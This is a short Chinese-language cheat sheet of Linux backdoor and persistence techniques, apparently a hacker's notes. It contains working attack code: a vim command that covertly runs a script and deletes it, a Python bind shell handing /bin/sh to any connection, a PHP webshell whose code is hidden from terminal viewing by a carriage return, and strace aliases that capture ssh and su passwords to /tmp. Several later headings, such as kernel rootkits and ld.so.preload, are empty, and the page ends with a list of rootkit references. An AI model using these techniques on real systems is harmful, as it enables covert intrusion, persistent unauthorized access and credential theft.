TL;DR

常见技巧

vim后门

#enter the mal script directory 、execute the script and then remove the script
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

终端解析\r导致的问题

echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||<                  ';?>" >/var/www/html/test.php


一些命令导致截断的问题

strace记录ssh登录密码

ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 ssh'  
也可记录 su密码 su='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 su'

常见sshd后门

定时任务和开机启动项

预加载型动态链接库后门 ld.so.preload

进程注入

内核级rootkit

Other

Reference

linux rootkits
https://github.com/mfontanini/Programs-Scripts/
Reptile
icmpsh
Diamorphine

源链接

Hacking more

...